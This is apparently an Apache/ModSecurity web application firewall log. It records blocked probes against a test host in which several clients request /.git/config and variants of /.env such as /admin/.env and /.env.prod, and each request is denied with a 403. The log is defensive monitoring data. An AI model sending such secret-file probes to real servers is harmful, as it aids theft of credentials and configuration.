[Wed Jan 22 15:46:09.212173 2025] [:error] [pid 634951] [client 13.201.16.232:51108] [client 13.201.16.232] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z5EEsc5fjOZJqrjfjGyQrQAAAAc&quot;]
[Wed Jan 22 15:46:09.212636 2025] [:error] [pid 634951] [client 13.201.16.232:51108] [client 13.201.16.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z5EEsc5fjOZJqrjfjGyQrQAAAAc&quot;]
[Wed Jan 22 15:46:09.212842 2025] [:error] [pid 634951] [client 13.201.16.232:51108] [client 13.201.16.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z5EEsc5fjOZJqrjfjGyQrQAAAAc&quot;]
[Fri Jan 31 22:16:35.490878 2025] [:error] [pid 838831] [client 44.201.72.202:34992] [client 44.201.72.202] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z509s-VuC8BGINFRXm6--wAAAAU&quot;]
[Fri Jan 31 22:16:35.494297 2025] [:error] [pid 838831] [client 44.201.72.202:34992] [client 44.201.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z509s-VuC8BGINFRXm6--wAAAAU&quot;]
[Fri Jan 31 22:16:35.494700 2025] [:error] [pid 838831] [client 44.201.72.202:34992] [client 44.201.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z509s-VuC8BGINFRXm6--wAAAAU&quot;]
[Fri Jan 31 22:16:38.599231 2025] [:error] [pid 844126] [client 44.201.72.202:35008] [client 44.201.72.202] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z509tuwOe_9n4zblmx_RjQAAAAk&quot;]
[Fri Jan 31 22:16:38.599837 2025] [:error] [pid 844126] [client 44.201.72.202:35008] [client 44.201.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z509tuwOe_9n4zblmx_RjQAAAAk&quot;]
[Fri Jan 31 22:16:38.600292 2025] [:error] [pid 844126] [client 44.201.72.202:35008] [client 44.201.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z509tuwOe_9n4zblmx_RjQAAAAk&quot;]
[Mon Feb 03 06:12:21.494150 2025] [:error] [pid 903429] [client 34.219.159.38:39264] [client 34.219.159.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z6BQNT-b1MI6wxyjKb03vgAAAAY&quot;]
[Mon Feb 03 06:12:21.497466 2025] [:error] [pid 903429] [client 34.219.159.38:39264] [client 34.219.159.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z6BQNT-b1MI6wxyjKb03vgAAAAY&quot;]
[Mon Feb 03 06:12:21.497944 2025] [:error] [pid 903429] [client 34.219.159.38:39264] [client 34.219.159.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z6BQNT-b1MI6wxyjKb03vgAAAAY&quot;]
[Tue Feb 04 18:17:47.096931 2025] [:error] [pid 924522] [client 195.178.110.164:59692] [client 195.178.110.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z6JLu3xisr8snLhHavq3DAAAAAQ&quot;]
[Tue Feb 04 18:17:47.097528 2025] [:error] [pid 924522] [client 195.178.110.164:59692] [client 195.178.110.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z6JLu3xisr8snLhHavq3DAAAAAQ&quot;]
[Tue Feb 04 18:17:47.098028 2025] [:error] [pid 924522] [client 195.178.110.164:59692] [client 195.178.110.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z6JLu3xisr8snLhHavq3DAAAAAQ&quot;]
[Tue Feb 04 18:17:47.330637 2025] [:error] [pid 924547] [client 195.178.110.164:59708] [client 195.178.110.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z6JLu9m_B-Yx8AjMbXhrAwAAAAc&quot;]
[Tue Feb 04 18:17:47.331413 2025] [:error] [pid 924547] [client 195.178.110.164:59708] [client 195.178.110.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z6JLu9m_B-Yx8AjMbXhrAwAAAAc&quot;]
[Tue Feb 04 18:17:47.331890 2025] [:error] [pid 924547] [client 195.178.110.164:59708] [client 195.178.110.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z6JLu9m_B-Yx8AjMbXhrAwAAAAc&quot;]
[Tue Feb 04 18:17:47.972253 2025] [:error] [pid 930078] [client 195.178.110.164:59748] [client 195.178.110.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;Z6JLu_pS7vRyCInSZk4t9gAAABA&quot;]
[Tue Feb 04 18:17:47.972600 2025] [:error] [pid 930078] [client 195.178.110.164:59748] [client 195.178.110.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;Z6JLu_pS7vRyCInSZk4t9gAAABA&quot;]
[Tue Feb 04 18:17:47.972832 2025] [:error] [pid 930078] [client 195.178.110.164:59748] [client 195.178.110.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;Z6JLu_pS7vRyCInSZk4t9gAAABA&quot;]
[Tue Feb 04 18:17:48.140538 2025] [:error] [pid 924520] [client 195.178.110.164:59752] [client 195.178.110.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;Z6JLvIAGHU3OpFWHDeEetAAAAAI&quot;]
[Tue Feb 04 18:17:48.141149 2025] [:error] [pid 924520] [client 195.178.110.164:59752] [client 195.178.110.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;Z6JLvIAGHU3OpFWHDeEetAAAAAI&quot;]
[Tue Feb 04 18:17:48.141628 2025] [:error] [pid 924520] [client 195.178.110.164:59752] [client 195.178.110.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;Z6JLvIAGHU3OpFWHDeEetAAAAAI&quot;]
[Tue Feb 04 18:17:48.305724 2025] [:error] [pid 926820] [client 195.178.110.164:59764] [client 195.178.110.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;Z6JLvBMczhhuJpxc6k70FgAAAAg&quot;]
[Tue Feb 04 18:17:48.306382 2025] [:error] [pid 926820] [client 195.178.110.164:59764] [client 195.178.110.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;Z6JLvBMczhhuJpxc6k70FgAAAAg&quot;]
[Tue Feb 04 18:17:48.306848 2025] [:error] [pid 926820] [client 195.178.110.164:59764] [client 195.178.110.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;Z6JLvBMczhhuJpxc6k70FgAAAAg&quot;]
[Tue Feb 04 18:17:48.475152 2025] [:error] [pid 930077] [client 195.178.110.164:59780] [client 195.178.110.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;Z6JLvJuR4NuvADDRAE37pQAAAA8&quot;]
[Tue Feb 04 18:17:48.475727 2025] [:error] [pid 930077] [client 195.178.110.164:59780] [client 195.178.110.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;Z6JLvJuR4NuvADDRAE37pQAAAA8&quot;]
[Tue Feb 04 18:17:48.476248 2025] [:error] [pid 930077] [client 195.178.110.164:59780] [client 195.178.110.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;Z6JLvJuR4NuvADDRAE37pQAAAA8&quot;]
[Tue Feb 04 18:17:48.631991 2025] [:error] [pid 924519] [client 195.178.110.164:59796] [client 195.178.110.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Z6JLvDpUmt6dEBozw-uVWgAAAAE&quot;]
[Tue Feb 04 18:17:48.632559 2025] [:error] [pid 924519] [client 195.178.110.164:59796] [client 195.178.110.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Z6JLvDpUmt6dEBozw-uVWgAAAAE&quot;]
[Tue Feb 04 18:17:48.633009 2025] [:error] [pid 924519] [client 195.178.110.164:59796] [client 195.178.110.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Z6JLvDpUmt6dEBozw-uVWgAAAAE&quot;]
